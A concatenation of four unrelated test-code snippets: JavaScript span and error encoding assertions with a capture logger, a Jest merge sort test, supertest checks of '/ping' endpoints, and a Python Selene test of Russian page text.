assertEncodedSpan (t, span, result) { t.comment('span') t.equal(result.id, span.id, 'id matches') t.equal(result.transaction_id, span.transaction.id, 'transaction id matches') t.equal(result.trace_id, span.traceId, 'trace id matches') t.equal(result.parent_id, span.parentId, 'parent id matches') t.equal(result.name, span.name, 'name matches') t.equal(result.type, span.type, 'type matches') t.equal(result.duration, span._timer.duration, 'duration matches') t.equal(result.timestamp, span.timestamp, 'timestamp matches') } function assertEncodedError (t, error, result, trans, parent) { t.comment('error') t.ok(result.id, 'has a valid id') t.equal(result.trace_id, trans.traceId, 'trace id matches') t.equal(result.transaction_id, trans.id, 'transaction id matches') t.equal(result.parent_id, parent.id, 'parent id matches') t.ok(result.exception, 'has an exception object') t.equal(result.exception.message, error.message, 'exception message matches') t.equal(result.exception.type, error.constructor.name, 'exception type matches') t.ok(result.culprit, 'has a valid culprit') t.ok(result.timestamp, 'has a valid timestamp') } class CaptureLogger { constructor () { this.calls = [] } _log (type, message, args) { this.calls.push({ type, message, args }) } warn (message, ...args) { this._log('warn', message, args) } info (message, ...args) { this._log('info', message, args) } debug (message, ...args) { this._log('debug', message, args) } }
'use strict'; const mergeSort = require('../mergeSort.js'); describe('Merge Sort Tests', () => { let testArray; beforeEach(() => { testArray = [2, 4, 3, 5, 1, 7, 6]; }); it('should actually sort the array', () => { expect(mergeSort).toBeDefined(); // Act let answer = mergeSort(testArray); // Assert expect(answer).toEqual([1, 2, 3, 4, 5, 6, 7]); }); it('it should only take in an array', () => { let badArray = 'thisshouldthrowanerror'; expect(() => { mergeSort(badArray); }).toThrow('input not an array'); }); it('it should only take an array of all numbers', () => { let badStringArray = [1, 3, 4, 'thisshouldthrowanerror', 6]; expect(() => { mergeSort(badStringArray); }).toThrow('invalid data in array'); }); it('should still sort an array of only length 2', () => { let testShort = [5, 2]; // Act let answer = mergeSort(testShort); // Assert expect(answer).toEqual([2, 5]); }); });
/** * Created by rahulguha on 17/09/14. */ var app = require('../audit') , request = require('supertest'); describe('ping api', function(){ describe('requesting /ping using GET method', function(){ it('should respond with 200', function(done){ request(app) .get('/ping') .expect('Content-Type', /json/) .expect(200, done); }); }); describe('requesting /ping/check/mongo using GET method', function(){ it('should respond with 200', function(done){ request(app) .get('/ping/check/mongo') .expect('Content-Type', /json/) .expect(200, done); }); }); describe('requesting resource /ping/check/post using POST method', function(){ it('should respond with 200', function(done){ request(app) .post('/ping/check/post') //.expect('Content-Type', /text/html/) .expect(200, done); }); }); });
# -*- coding: utf-8 -*- import os from selene import browser from selene import config from selene.browsers import BrowserName from selene.conditions import texts, exact_text from selene.support.conditions import have from selene.support.jquery_style_selectors import s, ss start_page = 'file://' + os.path.abspath(os.path.dirname(__file__)) + '/../resources/start_page.html' def setup_module(m): config.browser_name = BrowserName.CHROME browser.open_url(start_page) def test_ru_text(): s("#ru-text").should_have(exact_text(u"Селен")) def test_ru_text_with_array(): ss(".list > li").should_have(texts(u"Один", u"Два", u"Три")) def test_ru_text_in_selector(): s("#селен").should(have.exact_text(u"Сайт селена"))